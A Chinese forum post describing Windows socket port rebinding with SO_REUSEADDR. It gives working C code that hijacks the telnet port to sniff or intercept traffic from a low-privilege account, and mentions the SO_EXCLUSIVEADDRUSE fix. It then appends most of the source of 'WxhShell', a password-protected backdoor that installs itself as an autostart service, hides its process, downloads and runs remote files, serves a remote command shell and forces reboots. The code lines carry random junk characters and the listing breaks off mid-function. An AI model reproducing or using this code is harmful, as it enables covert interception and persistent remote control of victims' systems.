社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17319阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +m]$P,yMt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (s z=IB ;  
7xz|u\?_2  
  saddr.sin_family = AF_INET; ?(n|ykXwc  
la[xbv   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [0w @0?[  
`c ^2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }L3kpw  
N{ @B@]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D<]z.33  
-P^ 6b(  
  这意味着什么?意味着可以进行如下的攻击: gyondcF  
1zl6Rwk^o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZC@sUj"  
JF IUD{>fp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Yc BY[i0  
%c*azo.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M`-.0  
cF7I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m\)z& hv<r  
D4?5 %s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CD;C z*c  
KW ]/u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T&   
51u8.%{4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !U/iY%NE  
.;8T*  
  #include 9# IKb:9k  
  #include al.~[T-O+  
  #include w(zlHj  
  #include    S~.:B2=5K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }Zu>?U  
  int main() xv4_q-r[  
  { lU`]yL  
  WORD wVersionRequested; <O>1Y09C/  
  DWORD ret; Po#;SG#Ee  
  WSADATA wsaData; yZE"t[q#O  
  BOOL val; w O;\,zU  
  SOCKADDR_IN saddr; :,X,!0pWRp  
  SOCKADDR_IN scaddr; 5zWxI]4d\  
  int err; }SR}ET&z  
  SOCKET s; `L/kwVl  
  SOCKET sc; X>(?  
  int caddsize; N{U``LV  
  HANDLE mt; Xt %;]1n  
  DWORD tid;   %6}S1fuA  
  wVersionRequested = MAKEWORD( 2, 2 ); \BOZhXfl'  
  err = WSAStartup( wVersionRequested, &wsaData ); '8R5?9"  
  if ( err != 0 ) { ^Qt4}V=  
  printf("error!WSAStartup failed!\n"); AL74q[>  
  return -1; *,A?lX,9A  
  } EbZRU65J}O  
  saddr.sin_family = AF_INET; E5(\/;[*`  
   q{gt2OWqX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z=J%-Hq>  
})rJU/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i/N4uq}'A<  
  saddr.sin_port = htons(23); [4KW64%l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ![YLY&}s  
  { tt2`N3Eu\  
  printf("error!socket failed!\n"); { K'QE0'x  
  return -1; "E =\Vz  
  } X YO09#>&  
  val = TRUE; &^KmfT5C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 n>T1KC%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2iYf)MC  
  { gs wp:82e2  
  printf("error!setsockopt failed!\n"); ~( 54-9&  
  return -1; ;3wj(o0  
  }  P#m/b<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; # Y/ .%ch.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AQ:cim `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E$"( :%'v  
l=G=J(G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0vbiq  
  { u;rK.3o  
  ret=GetLastError(); uKHkC.g  
  printf("error!bind failed!\n"); Y>LgpO.  
  return -1; E~Eh'>Y(B  
  } o-"/1zLg4  
  listen(s,2); gmkD'CX*A  
  while(1) (,<&H;,8  
  { iTJSW  
  caddsize = sizeof(scaddr); t>p!qKrE'J  
  //接受连接请求 lL_M=td8W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GInU7y904  
  if(sc!=INVALID_SOCKET) teh$W<C  
  { *T\- iICw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0O+[z9  
  if(mt==NULL) 8q*MhH>6I  
  { U9GmkXRix  
  printf("Thread Creat Failed!\n"); eV$pza  
  break; mVFz[xI  
  } $xqI3UaX  
  } SEsc"l8  
  CloseHandle(mt); ckFnQhW  
  } R r7r5  
  closesocket(s); ~RGZY/4  
  WSACleanup(); wmbjL=f Ia  
  return 0; yDh(4w-~gk  
  }   PI@/jh  
  DWORD WINAPI ClientThread(LPVOID lpParam) ma@3BiM  
  { +NL^/y<;  
  SOCKET ss = (SOCKET)lpParam; aVsA5t\zi  
  SOCKET sc; ip6$Z3[)  
  unsigned char buf[4096]; RSEo'2  
  SOCKADDR_IN saddr; _): V7Zv  
  long num; Pl(+&k`}  
  DWORD val; E=!=4"rZF  
  DWORD ret; @*Sge LeL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +mP&B<=H)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mv9k_7<  
  saddr.sin_family = AF_INET; %%J)@k^vH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z'sAu#C  
  saddr.sin_port = htons(23); pGEYke NU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8l,`~jvU!*  
  { h#a;(F4_7  
  printf("error!socket failed!\n"); pUtd_8  
  return -1; Itn7Kl  
  } OL+dx`Y  
  val = 100; 0IU>KGJ-0s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PAG.],"D  
  { M JJ]8:%  
  ret = GetLastError(); GQ<]Sd}[  
  return -1; h&Thq52R  
  } ?Ne@OMc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =\CJsS.  
  { H}G=%j0  
  ret = GetLastError(); $B6CLWB  
  return -1; @pq#?  
  } .Y B}w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HsrIw  
  { c"qaULY  
  printf("error!socket connect failed!\n"); jSa9UD  
  closesocket(sc); TS0x8,'$q  
  closesocket(ss); 0].x8{~o  
  return -1; 0uX"KL]Elf  
  } sjh>i>t  
  while(1) q;co53.+P)  
  { a(}dF?M=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vd>K=! J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >s#[dr\ww  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eeI aH >  
  num = recv(ss,buf,4096,0); @j +8M  
  if(num>0) 7w}D2|+  
  send(sc,buf,num,0); =@%;6`AVcp  
  else if(num==0) B&^WRM;7t  
  break; ke.{wh\0  
  num = recv(sc,buf,4096,0); jIY    
  if(num>0) V=yRE  
  send(ss,buf,num,0); ::13$g=T9s  
  else if(num==0) 2kg<O%KA`c  
  break; :|hFpLt  
  } +B^(,qKMN  
  closesocket(ss); x1:#rb'  
  closesocket(sc); @oC# k<  
  return 0 ; Tj &PB_v1  
  } {v&c5B~,\  
~F5JN^5Y  
Q\(VQ1c  
========================================================== 5f+ziiZ  
GA&mM   
下边附上一个代码,,WXhSHELL =%u\x=u|  
Q y(Gy'q~  
========================================================== sj;8[Xy's  
OO%< ~H  
#include "stdafx.h" Hx;ij?  
gucd]VH  
#include <stdio.h> VAkZ@ u3'~  
#include <string.h> u`E24~  
#include <windows.h> eL)* K>T  
#include <winsock2.h> BcJ]bIbKb  
#include <winsvc.h> Cj).  
#include <urlmon.h> 3{e7j6u\  
[hy:BV6H+  
#pragma comment (lib, "Ws2_32.lib") (qn ;MN6<  
#pragma comment (lib, "urlmon.lib") x!\FB.h4!(  
|~'D8 g:Ak  
#define MAX_USER   100 // 最大客户端连接数 -rE_pV;  
#define BUF_SOCK   200 // sock buffer } sTo,F$  
#define KEY_BUFF   255 // 输入 buffer uP,{yna(  
s|3@\9\  
#define REBOOT     0   // 重启 ) V}q7\G~  
#define SHUTDOWN   1   // 关机 k+k&}8e  
.54E*V1  
#define DEF_PORT   5000 // 监听端口 f.f5f%lO~  
 U)oH@/q  
#define REG_LEN     16   // 注册表键长度 ?O1:-vpZ  
#define SVC_LEN     80   // NT服务名长度 f"XFf@!  
g8+w?Zn}  
// 从dll定义API p #vZYwe=L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y'sy]Q~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J &,N1B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xw60l&s.\L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o`^GUY}  
Y-(),k_Q:  
// wxhshell配置信息 (s?`*i:2  
struct WSCFG { EZvB#cuL-  
  int ws_port;         // 监听端口 X]'Hz@$N  
  char ws_passstr[REG_LEN]; // 口令 BKoc;20;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1FfdW>ay*  
  char ws_regname[REG_LEN]; // 注册表键名 $V"NB`T  
  char ws_svcname[REG_LEN]; // 服务名 _!FM^N}|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TmS;ybsG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aQax85  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Q<wb8+/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x<) %Gs}tb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S312h'K j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,#^<0u+zrF  
a/@<KnT  
}; e2#"o{+@  
wv,,#P  
// default Wxhshell configuration LS:3Dtq  
struct WSCFG wscfg={DEF_PORT, t3 AZS0  
    "xuhuanlingzhe", bH7[6#y$  
    1, GD1=Fb"&)  
    "Wxhshell", K GlO;Q~7  
    "Wxhshell", 6T6 S9A*nT  
            "WxhShell Service", 1j*I`xZ  
    "Wrsky Windows CmdShell Service", '[shY  
    "Please Input Your Password: ", _E5%Px5>L  
  1, 2A3;#v  
  "http://www.wrsky.com/wxhshell.exe", \Cx) ~bq<  
  "Wxhshell.exe" <YbOO{  
    }; eqbxf#H!  
l ' ]d&  
// 消息定义模块 yI9~LTlA3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Dy\-9:v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5qco4@8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '< OB  j  
char *msg_ws_ext="\n\rExit."; H~-zq} 4  
char *msg_ws_end="\n\rQuit."; RVN"lDGA  
char *msg_ws_boot="\n\rReboot..."; %UJ!(_  
char *msg_ws_poff="\n\rShutdown..."; m{={a5GD  
char *msg_ws_down="\n\rSave to "; ^RkHdA  
1E Lzzn  
char *msg_ws_err="\n\rErr!"; RMB?H)p+  
char *msg_ws_ok="\n\rOK!"; bwM>#@H  
HtOo*\Ne  
char ExeFile[MAX_PATH]; jY-i`rJN  
int nUser = 0; W38My j!  
HANDLE handles[MAX_USER]; 0pYz8OB  
int OsIsNt; b2 ~~ !C  
y(|6`  
SERVICE_STATUS       serviceStatus; Gy[;yLnX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Aww5G5e  
z602(mxGg  
// 函数声明 JH2?^h|{  
int Install(void); c L*D_)?8  
int Uninstall(void); ssW+'GD  
int DownloadFile(char *sURL, SOCKET wsh); 6w K=  
int Boot(int flag); -tT{h 4  
void HideProc(void); ,=l MtW  
int GetOsVer(void); ]?,47,[<  
int Wxhshell(SOCKET wsl); [!{*)4$6  
void TalkWithClient(void *cs); LBtVK, ?  
int CmdShell(SOCKET sock); daBu<0\  
int StartFromService(void); Kzxzz6R?  
int StartWxhshell(LPSTR lpCmdLine); / /qTMxn  
Vn1kC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _1*EMq6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c=H(*#  
VL"ZC:n)-  
// 数据结构和表定义 sSOI5W3A  
SERVICE_TABLE_ENTRY DispatchTable[] = +-,Q>`  
{ IoNZ'g?d  
{wscfg.ws_svcname, NTServiceMain}, T3['6%  
{NULL, NULL} 3y>.1  
}; u*[,W-R&  
KtHh--j`  
// 自我安装 D_O%[u}  
int Install(void) D0PP   
{ U;Hu:q*  
  char svExeFile[MAX_PATH]; H;s0|KRgJ  
  HKEY key; hC}A%_S  
  strcpy(svExeFile,ExeFile); WX 79V  
/-4i"|  
// 如果是win9x系统,修改注册表设为自启动 Z5Ao3O@  
if(!OsIsNt) { ;^:~xJFx|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N`y!Km  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J),7ukLu^  
  RegCloseKey(key); }.gDaxj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~/[cZY @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); po"M$4`9  
  RegCloseKey(key);  >0+m  
  return 0; RrLQM!~  
    } 5<4njo?k  
  } N!;Y;<Ro_  
} E?z 3&C  
else { HeGGAjc  
,e>C)wq;  
// 如果是NT以上系统,安装为系统服务 M#})  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /'E+(Y&:J  
if (schSCManager!=0) !`,6E`Y#  
{ c@ En4[a'  
  SC_HANDLE schService = CreateService * ok89 ad  
  ( O<f_-n@G|  
  schSCManager, JU<<,0  
  wscfg.ws_svcname, ix^:qw;  
  wscfg.ws_svcdisp, yqlkf$?  
  SERVICE_ALL_ACCESS, u 8U>R=M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P%pB]d.qpi  
  SERVICE_AUTO_START, gU>Y  
  SERVICE_ERROR_NORMAL, a%ec: %  
  svExeFile, 7H[#  
  NULL, /.05rTpp  
  NULL, (W3R3>;  
  NULL, 3-32q)8  
  NULL, &4"(bZ:LO  
  NULL Q( AOKp,F  
  );  2b1LC!'U  
  if (schService!=0) ..<(HH2  
  { l/LRr.x  
  CloseServiceHandle(schService); ezwcOYMXK  
  CloseServiceHandle(schSCManager); :@_CQc*yB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n5S$Dl  
  strcat(svExeFile,wscfg.ws_svcname); |Y/iq9l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #zrD i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @[zPN[z .  
  RegCloseKey(key); /RmLV  
  return 0; fLc<}DF  
    } nT|fDD|  
  } (' `) m  
  CloseServiceHandle(schSCManager); dSIMwu6u  
} kp<9o!?)  
} (U!WD`Ym  
E_WiQ?p   
return 1; 0plRsZ}  
} k6[t$|lMy  
j@UW[,UI  
// 自我卸载 t]eB3)FX  
int Uninstall(void) }M'\s  
{ 9jaYmY]~  
  HKEY key; ,PRM(n-  
=h&DW5QC  
if(!OsIsNt) { f`WmRx]K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { plfz)x3  
  RegDeleteValue(key,wscfg.ws_regname); X~GZI*P  
  RegCloseKey(key); &xH>U*c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f=~@e#U  
  RegDeleteValue(key,wscfg.ws_regname); i-sE\m  
  RegCloseKey(key); j(nPWEyJM  
  return 0; ]}>GUXe)^  
  } <%pi*:E|  
} a;*&q/{o  
} 8Mws?]\/q  
else { _z,/!>J  
* I'O_D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .vQ2w  
if (schSCManager!=0) Yz-b~D/=}  
{ e"^1- U\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MB^ b)\X  
  if (schService!=0) $Ae/NwIlc  
  { Gjy'30IF  
  if(DeleteService(schService)!=0) { Duptles  
  CloseServiceHandle(schService); vU{ZB^+&6o  
  CloseServiceHandle(schSCManager); 2Y  6/,W  
  return 0; ^Po\:x%o  
  } k qwS/s  
  CloseServiceHandle(schService); T a/G  
  } ?/dz!{JC  
  CloseServiceHandle(schSCManager); ` mCcD  
} >Cd%tIie*  
} 7 hnTHL  
F;q I^{m2  
return 1; .^JID~<?#  
} > )#*}JI  
Zpu>T2Tp  
// 从指定url下载文件 3: mF!  
int DownloadFile(char *sURL, SOCKET wsh) rX;(48Y  
{ i>)Whr'e8  
  HRESULT hr; D\* raQ`n  
char seps[]= "/"; c$uV8_V  
char *token; %K ]u"  
char *file; 8(Z*Vz uu  
char myURL[MAX_PATH]; zac>tXU;  
char myFILE[MAX_PATH]; i9.5 2  
Pq7YJ"Z?:  
strcpy(myURL,sURL); LgUaX  
  token=strtok(myURL,seps); !\|&E>Gy  
  while(token!=NULL) |":^3  
  { b.Y[:R_9&  
    file=token; =9pFb!KX  
  token=strtok(NULL,seps); ;PS [VdV  
  } uY "88|  
.6vQWt7@  
GetCurrentDirectory(MAX_PATH,myFILE); PFEi=}Y@((  
strcat(myFILE, "\\"); lX5(KUN  
strcat(myFILE, file); 83TN6gW  
  send(wsh,myFILE,strlen(myFILE),0); qQpR gzw  
send(wsh,"...",3,0); $)7-wCl</  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p(0!TCBs  
  if(hr==S_OK) 7z%zXDe~T[  
return 0; `]tXQqD  
else B*D`KA  
return 1; ,C=Fgxw(  
-QZped;?*  
} 4s"8e]q=  
?c>j^}A/N  
// 系统电源模块 h ?p^DPo  
int Boot(int flag) l'3NiIX  
{ 2@e<II2ha8  
  HANDLE hToken; Itz_;+I.Mp  
  TOKEN_PRIVILEGES tkp; NaVZ)  
+;cw<9%0  
  if(OsIsNt) { Yj0Ss{Ep  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H3a}`3}U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); { Ja#pt  
    tkp.PrivilegeCount = 1;  d(v )SS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  NsJUruN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !Rsx)  
if(flag==REBOOT) { )*s.AFu]7x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vNJ!i\bX  
  return 0; n$b/@hp$z  
} m! p'nP  
else { |(S=G'AtU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CiPD+I  
  return 0; c>DAR  
} PJ #uYM  
  } u.!Pda  
  else { Mw+]*  
if(flag==REBOOT) { Wgx lQXi-B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~^VcTSY@<L  
  return 0; s*]1d*B!  
} H%])>  
else { O'idS`   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) % ;6e@U}  
  return 0; urog.Q  
} }"xC1<]  
} *;o=hM)Tp  
p=7kFv  
return 1; >#0yd7BST  
} Sf*VkH  
elP`5BuN  
// win9x进程隐藏模块 u4.-AY {  
void HideProc(void) pV>/ "K  
{ U<#i\4W  
DQ'+,bxk=9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vx-u+/\  
  if ( hKernel != NULL ) P5aHLNit  
  { gQ/zk3?k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L:B&`,E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fNB*o={r|  
    FreeLibrary(hKernel); k92189B9j/  
  } # <&=ZLN  
\ =83#*KK  
return; =2`s Uw}  
} 0]NsT0M  
UGR5ILf  
// 获取操作系统版本 b/S4b  
int GetOsVer(void) ^M?uv{354  
{ 4Q3Q.(  
  OSVERSIONINFO winfo; TXy*-<#vR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5(DCq(\P*  
  GetVersionEx(&winfo); IlS{>6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M)3h 4yQ  
  return 1; D;:lw]  
  else ?rHc%H  
  return 0; pGsVO5M?  
} @rVmr{UE  
X\YeO> C  
// 客户端句柄模块 ]`UJwq  
int Wxhshell(SOCKET wsl) x{ZcF=4  
{ |t.WPp5,  
  SOCKET wsh; (>)Y0ki}  
  struct sockaddr_in client; fh,Y#.V`  
  DWORD myID; B`KpaE]  
8qBw;A)  
  while(nUser<MAX_USER) I s88+,O  
{ G-} zkax  
  int nSize=sizeof(client); !)&-\!M>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6NZ f!7,B  
  if(wsh==INVALID_SOCKET) return 1; kuUH 2:L  
VY![VnHsB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^{Mx?]z  
if(handles[nUser]==0) @];Xbbw+c  
  closesocket(wsh); Y @K9Hl  
else 0e/~H^,SQ  
  nUser++; rg\|-_.es'  
  } }*0%wP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :!aFfb["  
FiFZM  
  return 0; NGb`f-:jw  
} E2dSOZS:)%  
i&?~QQP`  
// 关闭 socket Y4b"(ZhM_  
void CloseIt(SOCKET wsh) & f!!UZMt)  
{ ~[,E i k  
closesocket(wsh); Ie+z"&0  
nUser--; {~d4;ht1Y  
ExitThread(0); ^(6.P)$  
} 4I2ppz   
zM)o^Fn2  
// 客户端请求句柄 vguqk!eo4  
void TalkWithClient(void *cs) |r3eq4$Am  
{ Wc+ e>*  
 r5F#q  
  SOCKET wsh=(SOCKET)cs; y6G[-?"/Q  
  char pwd[SVC_LEN]; R4qS,2E  
  char cmd[KEY_BUFF]; * 9*I:Uh57  
char chr[1]; V:IoeQ]-  
int i,j; E7j]"\~i  
| pJ.73  
  while (nUser < MAX_USER) { [.6uw=;o  
jPbL3"0A&  
if(wscfg.ws_passstr) { JbG+ysn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KL -8Aj~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wGbD%=  
  //ZeroMemory(pwd,KEY_BUFF); 7AtJ6  
      i=0; 7Qq>?H -  
  while(i<SVC_LEN) { &uk?1Z#j  
W]reQ&<Z  
  // 设置超时 eBBh/=Zc  
  fd_set FdRead; lYq R6^  
  struct timeval TimeOut; "_5av!;A g  
  FD_ZERO(&FdRead); R':a,6 O  
  FD_SET(wsh,&FdRead); )~!Gs/w6  
  TimeOut.tv_sec=8; <hS >L1ZSr  
  TimeOut.tv_usec=0; 9BHl 2<&V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GL (YC-{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); II[qWs>RG[  
YJr@4!j*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dyu~T{  
  pwd=chr[0]; eaCEZHr$  
  if(chr[0]==0xd || chr[0]==0xa) { hp[8.Z$7  
  pwd=0; "*TnkFTR  
  break; =k0l>)  
  } +fKLCzj  
  i++; o>j3<#?  
    } JqFFI:Q5a  
Z/a]oR@  
  // 如果是非法用户,关闭 socket *jDzh;H!w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >5XE*9  
} Xf$,ra"  
9/Q5(P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `bivAL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K4oLb"gB1  
79S=n,O  
while(1) { ]Ub?Wo7F?  
qzV:N8+,`  
  ZeroMemory(cmd,KEY_BUFF); |%TH|?kB  
-KO E2f  
      // 自动支持客户端 telnet标准   ~EdmVEu  
  j=0; [?]s((A~B  
  while(j<KEY_BUFF) { t0hg!_$bq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "y5c)l(Rg  
  cmd[j]=chr[0]; x+^iEj`gk  
  if(chr[0]==0xa || chr[0]==0xd) { BcA:M\dK%  
  cmd[j]=0; "z7.i{  
  break; .K:>`~<)  
  } G$`/86A)  
  j++; 4. R >mN[  
    } &~ uzu{  
N<O^%!buR  
  // 下载文件 *Q5/d9B8TN  
  if(strstr(cmd,"http://")) { wYNh0QlBH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ].` i`.T  
  if(DownloadFile(cmd,wsh)) N "FQMxqm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &K|CH? D  
  else Qs</.PO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C3WqUf<8`{  
  } kjjO<x?&*  
  else { IDwneFO  
QiB:K Pz[  
    switch(cmd[0]) { Z\`uI+`  
  6(X(f;MEl  
  // 帮助 %'@&j2j>  
  case '?': { e|xRK?aVBu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r@k&1*&  
    break; hb[K.`g  
  } !=eui$]  
  // 安装  ;-U :t4  
  case 'i': { c1!h;(&  
    if(Install()) F&I^bkvh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # l}Y1^PDd  
    else Y+j|T`d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QnVYZUgJeV  
    break; q=g;TAXZl  
    } /R@eOl}D  
  // 卸载 &o:wSe  
  case 'r': { sIg{a( 1/  
    if(Uninstall()) bi[vs|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZ80|-c  
    else *G2p;n=2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &5c)qap;n  
    break; WVp14Z?k  
    } qKZ~)B j  
  // 显示 wxhshell 所在路径 Bo)w#X  
  case 'p': { ^%*%=LJm  
    char svExeFile[MAX_PATH]; JKXs/r;:  
    strcpy(svExeFile,"\n\r"); \JN?3}_J  
      strcat(svExeFile,ExeFile); zTm&m#){3A  
        send(wsh,svExeFile,strlen(svExeFile),0); ocGqX Dg3  
    break; I`zn#U'  
    } q9F(8-J  
  // 重启 %A:<rO85o  
  case 'b': { exZa:9 sp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7n}J}8Y*U2  
    if(Boot(REBOOT)) 2NqlE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kf.w:X"i  
    else { - =QA{n  
    closesocket(wsh); oB#KR1 >%7  
